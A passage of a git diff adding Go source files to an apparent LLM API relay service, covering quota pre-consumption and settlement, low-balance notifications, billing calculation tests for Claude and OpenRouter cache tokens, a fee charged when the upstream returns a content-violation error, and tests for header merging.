+			"tokenId %d, model %s， pre-consumed quota %d", relayInfo.UserId, relayInfo.ChannelId, relayInfo.TokenId, relayInfo.OriginModelName, relayInfo.FinalPreConsumedQuota))
+	} else {
+		model.UpdateUserUsedQuotaAndRequestCount(relayInfo.UserId, quota)
+		model.UpdateChannelUsedQuota(relayInfo.ChannelId, quota)
+	}
+
+	if err := SettleBilling(ctx, relayInfo, quota); err != nil {
+		logger.LogError(ctx, "error settling billing: "+err.Error())
+	}
+
+	logModel := relayInfo.OriginModelName
+	if extraContent != "" {
+		logContent += ", " + extraContent
+	}
+	other := GenerateAudioOtherInfo(ctx, relayInfo, usage, modelRatio, groupRatio,
+		completionRatio.InexactFloat64(), audioRatio.InexactFloat64(), audioCompletionRatio.InexactFloat64(), modelPrice, relayInfo.PriceData.GroupRatioInfo.GroupSpecialRatio)
+	if tieredResult != nil {
+		InjectTieredBillingInfo(other, relayInfo, tieredResult)
+	}
+	model.RecordConsumeLog(ctx, relayInfo.UserId, model.RecordConsumeLogParams{
+		ChannelId:        relayInfo.ChannelId,
+		PromptTokens:     usage.PromptTokens,
+		CompletionTokens: usage.CompletionTokens,
+		ModelName:        logModel,
+		TokenName:        tokenName,
+		Quota:            quota,
+		Content:          logContent,
+		TokenId:          relayInfo.TokenId,
+		UseTimeSeconds:   int(useTimeSeconds),
+		IsStream:         relayInfo.IsStream,
+		Group:            relayInfo.UsingGroup,
+		Other:            other,
+	})
+}
+
+func PreConsumeTokenQuota(relayInfo *relaycommon.RelayInfo, quota int) error {
+	if quota < 0 {
+		return errors.New("quota 不能为负数！")
+	}
+	if relayInfo.IsPlayground {
+		return nil
+	}
+	//if relayInfo.TokenUnlimited {
+	//	return nil
+	//}
+	token, err := model.GetTokenByKey(relayInfo.TokenKey, false)
+	if err != nil {
+		return err
+	}
+	if !relayInfo.TokenUnlimited && token.RemainQuota < quota {
+		return fmt.Errorf("token quota is not enough, token remain quota: %s, need quota: %s", logger.FormatQuota(token.RemainQuota), logger.FormatQuota(quota))
+	}
+	err = model.DecreaseTokenQuota(relayInfo.TokenId, relayInfo.TokenKey, quota)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+func PostConsumeQuota(relayInfo *relaycommon.RelayInfo, quota int, preConsumedQuota int, sendEmail bool) (err error) {
+
+	// 1) Consume from wallet quota OR subscription item
+	if relayInfo != nil && relayInfo.BillingSource == BillingSourceSubscription {
+		if relayInfo.SubscriptionId == 0 {
+			return errors.New("subscription id is missing")
+		}
+		delta := int64(quota)
+		if delta != 0 {
+			if err := model.PostConsumeUserSubscriptionDelta(relayInfo.SubscriptionId, delta); err != nil {
+				return err
+			}
+			relayInfo.SubscriptionPostDelta += delta
+		}
+	} else {
+		// Wallet
+		if quota > 0 {
+			err = model.DecreaseUserQuota(relayInfo.UserId, quota, false)
+		} else {
+			err = model.IncreaseUserQuota(relayInfo.UserId, -quota, false)
+		}
+		if err != nil {
+			return err
+		}
+	}
+
+	if !relayInfo.IsPlayground {
+		if quota > 0 {
+			err = model.DecreaseTokenQuota(relayInfo.TokenId, relayInfo.TokenKey, quota)
+		} else {
+			err = model.IncreaseTokenQuota(relayInfo.TokenId, relayInfo.TokenKey, -quota)
+		}
+		if err != nil {
+			return err
+		}
+	}
+
+	if sendEmail {
+		if (quota + preConsumedQuota) != 0 {
+			checkAndSendQuotaNotify(relayInfo, quota, preConsumedQuota)
+		}
+	}
+
+	return nil
+}
+
+func checkAndSendQuotaNotify(relayInfo *relaycommon.RelayInfo, quota int, preConsumedQuota int) {
+	gopool.Go(func() {
+		userSetting := relayInfo.UserSetting
+		threshold := common.QuotaRemindThreshold
+		if userSetting.QuotaWarningThreshold != 0 {
+			threshold = int(userSetting.QuotaWarningThreshold)
+		}
+
+		//noMoreQuota := userCache.Quota-(quota+preConsumedQuota) <= 0
+		quotaTooLow := false
+		consumeQuota := quota + preConsumedQuota
+		if relayInfo.UserQuota-consumeQuota < threshold {
+			quotaTooLow = true
+		}
+		if quotaTooLow {
+			prompt := "您的额度即将用尽"
+			topUpLink := fmt.Sprintf("%s/console/topup", system_setting.ServerAddress)
+
+			// 根据通知方式生成不同的内容格式
+			var content string
+			var values []interface{}
+
+			notifyType := userSetting.NotifyType
+			if notifyType == "" {
+				notifyType = dto.NotifyTypeEmail
+			}
+
+			if notifyType == dto.NotifyTypeBark {
+				// Bark推送使用简短文本，不支持HTML
+				content = "{{value}}，剩余额度：{{value}}，请及时充值"
+				values = []interface{}{prompt, logger.FormatQuota(relayInfo.UserQuota)}
+			} else if notifyType == dto.NotifyTypeGotify {
+				content = "{{value}}，当前剩余额度为 {{value}}，请及时充值。"
+				values = []interface{}{prompt, logger.FormatQuota(relayInfo.UserQuota)}
+			} else {
+				// 默认内容格式，适用于Email和Webhook（支持HTML）
+				content = "{{value}}，当前剩余额度为 {{value}}，为了不影响您的使用，请及时充值。<br/>充值链接：<a href='{{value}}'>{{value}}</a>"
+				values = []interface{}{prompt, logger.FormatQuota(relayInfo.UserQuota), topUpLink, topUpLink}
+			}
+
+			err := NotifyUser(relayInfo.UserId, relayInfo.UserEmail, relayInfo.UserSetting, dto.NewNotify(dto.NotifyTypeQuotaExceed, prompt, content, values))
+			if err != nil {
+				common.SysError(fmt.Sprintf("failed to send quota notify to user %d: %s", relayInfo.UserId, err.Error()))
+			}
+		}
+	})
+}
+
+func checkAndSendSubscriptionQuotaNotify(relayInfo *relaycommon.RelayInfo) {
+	gopool.Go(func() {
+		if relayInfo == nil {
+			return
+		}
+		if relayInfo.SubscriptionId == 0 || relayInfo.SubscriptionAmountTotal <= 0 {
+			return
+		}
+
+		userSetting := relayInfo.UserSetting
+		threshold := common.QuotaRemindThreshold
+		if userSetting.QuotaWarningThreshold != 0 {
+			threshold = int(userSetting.QuotaWarningThreshold)
+		}
+
+		usedAfter := relayInfo.SubscriptionAmountUsedAfterPreConsume + relayInfo.SubscriptionPostDelta
+		remaining := relayInfo.SubscriptionAmountTotal - usedAfter
+		if remaining >= int64(threshold) {
+			return
+		}
+
+		prompt := "您的订阅额度即将用尽"
+		topUpLink := fmt.Sprintf("%s/console/topup", system_setting.ServerAddress)
+
+		var content string
+		var values []interface{}
+		notifyType := userSetting.NotifyType
+		if notifyType == "" {
+			notifyType = dto.NotifyTypeEmail
+		}
+
+		if notifyType == dto.NotifyTypeBark {
+			content = "{{value}}，剩余额度：{{value}}，请及时充值"
+			values = []interface{}{prompt, logger.FormatQuota(int(remaining))}
+		} else if notifyType == dto.NotifyTypeGotify {
+			content = "{{value}}，当前剩余额度为 {{value}}，请及时充值。"
+			values = []interface{}{prompt, logger.FormatQuota(int(remaining))}
+		} else {
+			content = "{{value}}，当前剩余额度为 {{value}}，为了不影响您的使用，请及时充值。<br/>充值链接：<a href='{{value}}'>{{value}}</a>"
+			values = []interface{}{prompt, logger.FormatQuota(int(remaining)), topUpLink, topUpLink}
+		}
+
+		if err := NotifyUser(relayInfo.UserId, relayInfo.UserEmail, relayInfo.UserSetting, dto.NewNotify(dto.NotifyTypeQuotaExceed, prompt, content, values)); err != nil {
+			common.SysError(fmt.Sprintf("failed to send subscription quota notify to user %d: %s", relayInfo.UserId, err.Error()))
+		}
+	})
+}
diff --git a/_all-in-one-upload/new-api/service/text_quota_test.go b/_all-in-one-upload/new-api/service/text_quota_test.go
new file mode 100644
index 0000000..37ce187
--- /dev/null
+++ b/_all-in-one-upload/new-api/service/text_quota_test.go
@@ -0,0 +1,441 @@
+package service
+
+import (
+	"net/http/httptest"
+	"testing"
+	"time"
+
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/pkg/billingexpr"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/gin-gonic/gin"
+	"github.com/stretchr/testify/require"
+)
+
+func TestCalculateTextQuotaSummaryUnifiedForClaudeSemantic(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	usage := &dto.Usage{
+		PromptTokens:     1000,
+		CompletionTokens: 200,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens:         100,
+			CachedCreationTokens: 50,
+		},
+		ClaudeCacheCreation5mTokens: 10,
+		ClaudeCacheCreation1hTokens: 20,
+	}
+
+	priceData := types.PriceData{
+		ModelRatio:           1,
+		CompletionRatio:      2,
+		CacheRatio:           0.1,
+		CacheCreationRatio:   1.25,
+		CacheCreation5mRatio: 1.25,
+		CacheCreation1hRatio: 2,
+		GroupRatioInfo: types.GroupRatioInfo{
+			GroupRatio: 1,
+		},
+	}
+
+	chatRelayInfo := &relaycommon.RelayInfo{
+		RelayFormat:             types.RelayFormatOpenAI,
+		FinalRequestRelayFormat: types.RelayFormatClaude,
+		OriginModelName:         "claude-3-7-sonnet",
+		PriceData:               priceData,
+		StartTime:               time.Now(),
+	}
+	messageRelayInfo := &relaycommon.RelayInfo{
+		RelayFormat:             types.RelayFormatClaude,
+		FinalRequestRelayFormat: types.RelayFormatClaude,
+		OriginModelName:         "claude-3-7-sonnet",
+		PriceData:               priceData,
+		StartTime:               time.Now(),
+	}
+
+	chatSummary := calculateTextQuotaSummary(ctx, chatRelayInfo, usage)
+	messageSummary := calculateTextQuotaSummary(ctx, messageRelayInfo, usage)
+
+	require.Equal(t, messageSummary.Quota, chatSummary.Quota)
+	require.Equal(t, messageSummary.CacheCreationTokens5m, chatSummary.CacheCreationTokens5m)
+	require.Equal(t, messageSummary.CacheCreationTokens1h, chatSummary.CacheCreationTokens1h)
+	require.True(t, chatSummary.IsClaudeUsageSemantic)
+	require.Equal(t, 1488, chatSummary.Quota)
+}
+
+func TestCalculateTextQuotaSummaryUsesSplitClaudeCacheCreationRatios(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		RelayFormat:             types.RelayFormatOpenAI,
+		FinalRequestRelayFormat: types.RelayFormatClaude,
+		OriginModelName:         "claude-3-7-sonnet",
+		PriceData: types.PriceData{
+			ModelRatio:           1,
+			CompletionRatio:      1,
+			CacheRatio:           0,
+			CacheCreationRatio:   1,
+			CacheCreation5mRatio: 2,
+			CacheCreation1hRatio: 3,
+			GroupRatioInfo: types.GroupRatioInfo{
+				GroupRatio: 1,
+			},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     100,
+		CompletionTokens: 0,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedCreationTokens: 10,
+		},
+		ClaudeCacheCreation5mTokens: 2,
+		ClaudeCacheCreation1hTokens: 3,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// 100 + remaining(5)*1 + 2*2 + 3*3 = 118
+	require.Equal(t, 118, summary.Quota)
+}
+
+func TestCalculateTextQuotaSummaryUsesAnthropicUsageSemanticFromUpstreamUsage(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		RelayFormat:     types.RelayFormatOpenAI,
+		OriginModelName: "claude-3-7-sonnet",
+		PriceData: types.PriceData{
+			ModelRatio:           1,
+			CompletionRatio:      2,
+			CacheRatio:           0.1,
+			CacheCreationRatio:   1.25,
+			CacheCreation5mRatio: 1.25,
+			CacheCreation1hRatio: 2,
+			GroupRatioInfo: types.GroupRatioInfo{
+				GroupRatio: 1,
+			},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     1000,
+		CompletionTokens: 200,
+		UsageSemantic:    "anthropic",
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens:         100,
+			CachedCreationTokens: 50,
+		},
+		ClaudeCacheCreation5mTokens: 10,
+		ClaudeCacheCreation1hTokens: 20,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	require.True(t, summary.IsClaudeUsageSemantic)
+	require.Equal(t, "anthropic", summary.UsageSemantic)
+	require.Equal(t, 1488, summary.Quota)
+}
+
+func TestCacheWriteTokensTotal(t *testing.T) {
+	t.Run("split cache creation", func(t *testing.T) {
+		summary := textQuotaSummary{
+			CacheCreationTokens:   50,
+			CacheCreationTokens5m: 10,
+			CacheCreationTokens1h: 20,
+		}
+		require.Equal(t, 50, cacheWriteTokensTotal(summary))
+	})
+
+	t.Run("legacy cache creation", func(t *testing.T) {
+		summary := textQuotaSummary{CacheCreationTokens: 50}
+		require.Equal(t, 50, cacheWriteTokensTotal(summary))
+	})
+
+	t.Run("split cache creation without aggregate remainder", func(t *testing.T) {
+		summary := textQuotaSummary{
+			CacheCreationTokens5m: 10,
+			CacheCreationTokens1h: 20,
+		}
+		require.Equal(t, 30, cacheWriteTokensTotal(summary))
+	})
+}
+
+func TestCalculateTextQuotaSummaryHandlesLegacyClaudeDerivedOpenAIUsage(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		RelayFormat:     types.RelayFormatOpenAI,
+		OriginModelName: "claude-3-7-sonnet",
+		PriceData: types.PriceData{
+			ModelRatio:           1,
+			CompletionRatio:      5,
+			CacheRatio:           0.1,
+			CacheCreationRatio:   1.25,
+			CacheCreation5mRatio: 1.25,
+			CacheCreation1hRatio: 2,
+			GroupRatioInfo:       types.GroupRatioInfo{GroupRatio: 1},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     62,
+		CompletionTokens: 95,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 3544,
+		},
+		ClaudeCacheCreation5mTokens: 586,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// 62 + 3544*0.1 + 586*1.25 + 95*5 = 1624.9 => 1624
+	require.Equal(t, 1624, summary.Quota)
+}
+
+func TestCalculateTextQuotaSummarySeparatesOpenRouterCacheReadFromPromptBilling(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		OriginModelName: "openai/gpt-4.1",
+		ChannelMeta: &relaycommon.ChannelMeta{
+			ChannelType: constant.ChannelTypeOpenRouter,
+		},
+		PriceData: types.PriceData{
+			ModelRatio:         1,
+			CompletionRatio:    1,
+			CacheRatio:         0.1,
+			CacheCreationRatio: 1.25,
+			GroupRatioInfo:     types.GroupRatioInfo{GroupRatio: 1},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     2604,
+		CompletionTokens: 383,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 2432,
+		},
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// OpenRouter OpenAI-format display keeps prompt_tokens as total input,
+	// but billing still separates normal input from cache read tokens.
+	// quota = (2604 - 2432) + 2432*0.1 + 383 = 798.2 => 798
+	require.Equal(t, 2604, summary.PromptTokens)
+	require.Equal(t, 798, summary.Quota)
+}
+
+func TestCalculateTextQuotaSummarySeparatesOpenRouterCacheCreationFromPromptBilling(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		OriginModelName: "openai/gpt-4.1",
+		ChannelMeta: &relaycommon.ChannelMeta{
+			ChannelType: constant.ChannelTypeOpenRouter,
+		},
+		PriceData: types.PriceData{
+			ModelRatio:         1,
+			CompletionRatio:    1,
+			CacheCreationRatio: 1.25,
+			GroupRatioInfo:     types.GroupRatioInfo{GroupRatio: 1},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     2604,
+		CompletionTokens: 383,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedCreationTokens: 100,
+		},
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// prompt_tokens is still logged as total input, but cache creation is billed separately.
+	// quota = (2604 - 100) + 100*1.25 + 383 = 3012
+	require.Equal(t, 2604, summary.PromptTokens)
+	require.Equal(t, 3012, summary.Quota)
+}
+
+func TestCalculateTextQuotaSummaryKeepsPrePRClaudeOpenRouterBilling(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		FinalRequestRelayFormat: types.RelayFormatClaude,
+		OriginModelName:         "anthropic/claude-3.7-sonnet",
+		ChannelMeta: &relaycommon.ChannelMeta{
+			ChannelType: constant.ChannelTypeOpenRouter,
+		},
+		PriceData: types.PriceData{
+			ModelRatio:         1,
+			CompletionRatio:    1,
+			CacheRatio:         0.1,
+			CacheCreationRatio: 1.25,
+			GroupRatioInfo:     types.GroupRatioInfo{GroupRatio: 1},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     2604,
+		CompletionTokens: 383,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 2432,
+		},
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// Pre-PR PostClaudeConsumeQuota behavior for OpenRouter:
+	// prompt = 2604 - 2432 = 172
+	// quota = 172 + 2432*0.1 + 383 = 798.2 => 798
+	require.True(t, summary.IsClaudeUsageSemantic)
+	require.Equal(t, 172, summary.PromptTokens)
+	require.Equal(t, 798, summary.Quota)
+}
+
+func TestComposeTieredTextQuotaKeepsToolCallSurcharges(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+	ctx.Set("image_generation_call", true)
+	ctx.Set("image_generation_call_quality", "low")
+	ctx.Set("image_generation_call_size", "1024x1024")
+
+	relayInfo := &relaycommon.RelayInfo{
+		OriginModelName: "o1",
+		PriceData: types.PriceData{
+			ModelRatio:      1,
+			CompletionRatio: 1,
+			GroupRatioInfo:  types.GroupRatioInfo{GroupRatio: 1},
+		},
+		ResponsesUsageInfo: &relaycommon.ResponsesUsageInfo{
+			BuiltInTools: map[string]*relaycommon.BuildInToolInfo{
+				dto.BuildInToolWebSearchPreview: &relaycommon.BuildInToolInfo{
+					CallCount: 1,
+				},
+				dto.BuildInToolFileSearch: &relaycommon.BuildInToolInfo{
+					CallCount: 2,
+				},
+			},
+		},
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode:               "tiered_expr",
+			GroupRatio:                1,
+			EstimatedQuotaBeforeGroup: 1000,
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     100,
+		CompletionTokens: 50,
+		TotalTokens:      150,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+	quota := composeTieredTextQuota(relayInfo, summary, 1000, &billingexpr.TieredResult{
+		ActualQuotaBeforeGroup: 1000,
+		ActualQuotaAfterGroup:  1000,
+	})
+
+	require.Equal(t, int64(13000), summary.ToolCallSurchargeQuota.Round(0).IntPart())
+	require.Equal(t, 14000, quota)
+}
+
+func TestComposeTieredTextQuotaFallbackKeepsToolCallSurcharges(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+	ctx.Set("claude_web_search_requests", 2)
+
+	relayInfo := &relaycommon.RelayInfo{
+		OriginModelName: "claude-3-7-sonnet",
+		PriceData: types.PriceData{
+			ModelRatio:      1,
+			CompletionRatio: 1,
+			GroupRatioInfo:  types.GroupRatioInfo{GroupRatio: 1.25},
+		},
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode:               "tiered_expr",
+			GroupRatio:                1.25,
+			EstimatedQuotaBeforeGroup: 1000,
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     100,
+		CompletionTokens: 50,
+		TotalTokens:      150,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+	quota := composeTieredTextQuota(relayInfo, summary, 1250, nil)
+
+	require.Equal(t, int64(12500), summary.ToolCallSurchargeQuota.Round(0).IntPart())
+	require.Equal(t, 13750, quota)
+}
+
+func TestComposeTieredTextQuotaErrorFallbackUsesPreConsumedQuota(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+	ctx.Set("claude_web_search_requests", 2)
+
+	relayInfo := &relaycommon.RelayInfo{
+		OriginModelName: "claude-3-7-sonnet",
+		PriceData: types.PriceData{
+			ModelRatio:      1,
+			CompletionRatio: 1,
+			GroupRatioInfo:  types.GroupRatioInfo{GroupRatio: 1.25},
+		},
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode:               "tiered_expr",
+			GroupRatio:                1.25,
+			EstimatedQuotaBeforeGroup: 1000,
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     100,
+		CompletionTokens: 50,
+		TotalTokens:      150,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// tieredResult=nil simulates a settlement error where TryTieredSettle
+	// falls back to FinalPreConsumedQuota (2000), which differs from
+	// EstimatedQuotaBeforeGroup * GroupRatio (1250).
+	preConsumedFallback := 2000
+	quota := composeTieredTextQuota(relayInfo, summary, preConsumedFallback, nil)
+
+	require.Equal(t, int64(12500), summary.ToolCallSurchargeQuota.Round(0).IntPart())
+	require.Equal(t, 14500, quota)
+}
diff --git a/_all-in-one-upload/new-api/service/violation_fee.go b/_all-in-one-upload/new-api/service/violation_fee.go
new file mode 100644
index 0000000..4550885
--- /dev/null
+++ b/_all-in-one-upload/new-api/service/violation_fee.go
@@ -0,0 +1,164 @@
+package service
+
+import (
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/setting/model_setting"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/shopspring/decimal"
+
+	"github.com/gin-gonic/gin"
+)
+
+const (
+	ViolationFeeCodePrefix     = "violation_fee."
+	CSAMViolationMarker        = "Failed check: SAFETY_CHECK_TYPE"
+	ContentViolatesUsageMarker = "Content violates usage guidelines"
+)
+
+func IsViolationFeeCode(code types.ErrorCode) bool {
+	return strings.HasPrefix(string(code), ViolationFeeCodePrefix)
+}
+
+func HasCSAMViolationMarker(err *types.NewAPIError) bool {
+	if err == nil {
+		return false
+	}
+	if strings.Contains(err.Error(), CSAMViolationMarker) || strings.Contains(err.Error(), ContentViolatesUsageMarker) {
+		return true
+	}
+	msg := err.ToOpenAIError().Message
+	return strings.Contains(msg, CSAMViolationMarker) || strings.Contains(err.Error(), ContentViolatesUsageMarker)
+}
+
+func WrapAsViolationFeeGrokCSAM(err *types.NewAPIError) *types.NewAPIError {
+	if err == nil {
+		return nil
+	}
+	oai := err.ToOpenAIError()
+	oai.Type = string(types.ErrorCodeViolationFeeGrokCSAM)
+	oai.Code = string(types.ErrorCodeViolationFeeGrokCSAM)
+	return types.WithOpenAIError(oai, err.StatusCode, types.ErrOptionWithSkipRetry())
+}
+
+// NormalizeViolationFeeError ensures:
+// - if the CSAM marker is present, error.code is set to a stable violation-fee code and skip-retry is enabled.
+// - if error.code already has the violation-fee prefix, skip-retry is enabled.
+//
+// It must be called before retry decision logic.
+func NormalizeViolationFeeError(err *types.NewAPIError) *types.NewAPIError {
+	if err == nil {
+		return nil
+	}
+
+	if HasCSAMViolationMarker(err) {
+		return WrapAsViolationFeeGrokCSAM(err)
+	}
+
+	if IsViolationFeeCode(err.GetErrorCode()) {
+		oai := err.ToOpenAIError()
+		return types.WithOpenAIError(oai, err.StatusCode, types.ErrOptionWithSkipRetry())
+	}
+
+	return err
+}
+
+func shouldChargeViolationFee(err *types.NewAPIError) bool {
+	if err == nil {
+		return false
+	}
+	if err.GetErrorCode() == types.ErrorCodeViolationFeeGrokCSAM {
+		return true
+	}
+	// In case some callers didn't normalize, keep a safety net.
+	return HasCSAMViolationMarker(err)
+}
+
+func calcViolationFeeQuota(amount, groupRatio float64) int {
+	if amount <= 0 {
+		return 0
+	}
+	if groupRatio <= 0 {
+		return 0
+	}
+	quota := decimal.NewFromFloat(amount).
+		Mul(decimal.NewFromFloat(common.QuotaPerUnit)).
+		Mul(decimal.NewFromFloat(groupRatio)).
+		Round(0).
+		IntPart()
+	if quota <= 0 {
+		return 0
+	}
+	return int(quota)
+}
+
+// ChargeViolationFeeIfNeeded charges an additional fee after the normal flow finishes (including refund).
+// It uses Grok fee settings as the fee policy.
+func ChargeViolationFeeIfNeeded(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, apiErr *types.NewAPIError) bool {
+	if ctx == nil || relayInfo == nil || apiErr == nil {
+		return false
+	}
+	//if relayInfo.IsPlayground {
+	//	return false
+	//}
+	if !shouldChargeViolationFee(apiErr) {
+		return false
+	}
+
+	settings := model_setting.GetGrokSettings()
+	if settings == nil || !settings.ViolationDeductionEnabled {
+		return false
+	}
+
+	groupRatio := relayInfo.PriceData.GroupRatioInfo.GroupRatio
+	feeQuota := calcViolationFeeQuota(settings.ViolationDeductionAmount, groupRatio)
+	if feeQuota <= 0 {
+		return false
+	}
+
+	if err := PostConsumeQuota(relayInfo, feeQuota, 0, true); err != nil {
+		logger.LogError(ctx, fmt.Sprintf("failed to charge violation fee: %s", err.Error()))
+		return false
+	}
+
+	model.UpdateUserUsedQuotaAndRequestCount(relayInfo.UserId, feeQuota)
+	model.UpdateChannelUsedQuota(relayInfo.ChannelId, feeQuota)
+
+	useTimeSeconds := time.Now().Unix() - relayInfo.StartTime.Unix()
+	tokenName := ctx.GetString("token_name")
+	oai := apiErr.ToOpenAIError()
+
+	other := map[string]any{
+		"violation_fee":        true,
+		"violation_fee_code":   string(types.ErrorCodeViolationFeeGrokCSAM),
+		"fee_quota":            feeQuota,
+		"base_amount":          settings.ViolationDeductionAmount,
+		"group_ratio":          groupRatio,
+		"status_code":          apiErr.StatusCode,
+		"upstream_error_type":  oai.Type,
+		"upstream_error_code":  fmt.Sprintf("%v", oai.Code),
+		"violation_fee_marker": CSAMViolationMarker,
+	}
+
+	model.RecordConsumeLog(ctx, relayInfo.UserId, model.RecordConsumeLogParams{
+		ChannelId:      relayInfo.ChannelId,
+		ModelName:      relayInfo.OriginModelName,
+		TokenName:      tokenName,
+		Quota:          feeQuota,
+		Content:        "Violation fee charged",
+		TokenId:        relayInfo.TokenId,
+		UseTimeSeconds: int(useTimeSeconds),
+		IsStream:       relayInfo.IsStream,
+		Group:          relayInfo.UsingGroup,
+		Other:          other,
+	})
+
+	return true
+}
diff --git a/_all-in-one-upload/new-api/setting/model_setting/claude_test.go b/_all-in-one-upload/new-api/setting/model_setting/claude_test.go
new file mode 100644
index 0000000..0a806a7
--- /dev/null
+++ b/_all-in-one-upload/new-api/setting/model_setting/claude_test.go
@@ -0,0 +1,60 @@
+package model_setting
+
+import (
+	"net/http"
+	"testing"
+)
+
+func TestClaudeSettingsWriteHeadersMergesConfiguredValuesIntoSingleHeader(t *testing.T) {
+	settings := &ClaudeSettings{
+		HeadersSettings: map[string]map[string][]string{
+			"claude-3-7-sonnet-20250219-thinking": {
+				"anthropic-beta": {
+					"token-efficient-tools-2025-02-19",
+				},
+			},
+		},
+	}
+
+	headers := http.Header{}
+	headers.Set("anthropic-beta", "output-128k-2025-02-19")
+
+	settings.WriteHeaders("claude-3-7-sonnet-20250219-thinking", &headers)
+
+	got := headers.Values("anthropic-beta")
+	if len(got) != 1 {
+		t.Fatalf("expected a single merged header value, got %v", got)
+	}
+	expected := "output-128k-2025-02-19,token-efficient-tools-2025-02-19"
+	if got[0] != expected {
+		t.Fatalf("expected merged header %q, got %q", expected, got[0])
+	}
+}
+
+func TestClaudeSettingsWriteHeadersDeduplicatesAcrossCommaSeparatedAndRepeatedValues(t *testing.T) {
+	settings := &ClaudeSettings{
+		HeadersSettings: map[string]map[string][]string{
+			"claude-3-7-sonnet-20250219-thinking": {
+				"anthropic-beta": {
+					"token-efficient-tools-2025-02-19",
+					"computer-use-2025-01-24",
+				},
+			},
+		},
+	}
+
+	headers := http.Header{}
+	headers.Add("anthropic-beta", "output-128k-2025-02-19, token-efficient-tools-2025-02-19")
+	headers.Add("anthropic-beta", "token-efficient-tools-2025-02-19")
+
+	settings.WriteHeaders("claude-3-7-sonnet-20250219-thinking", &headers)
+
+	got := headers.Values("anthropic-beta")
+	if len(got) != 1 {
+		t.Fatalf("expected duplicate values to collapse into one header, got %v", got)
+	}
+	expected := "output-128k-2025-02-19,token-efficient-tools-2025-02-19,computer-use-2025-01-24"
+	if got[0] != expected {
+		t.Fatalf("expected deduplicated merged header %q, got %q", expected, got[0])
+	}
+}
diff --git a/_all-in-one-upload/new-api/setting/operation_setting/channel_affinity_setting.go b/_all-in-one-upload/new-api/setting/operation_setting/channel_affinity_setting.go
new file mode 100644
index 0000000..8cd605c
--- /dev/null
+++ b/_all-in-one-upload/new-api/setting/operation_setting/channel_affinity_setting.go
@@ -0,0 +1,121 @@
+package operation_setting
+
+import "github.com/QuantumNous/new-api/setting/config"
+
+type ChannelAffinityKeySource struct {
+	Type string `json:"type"` // context_int, context_string, gjson
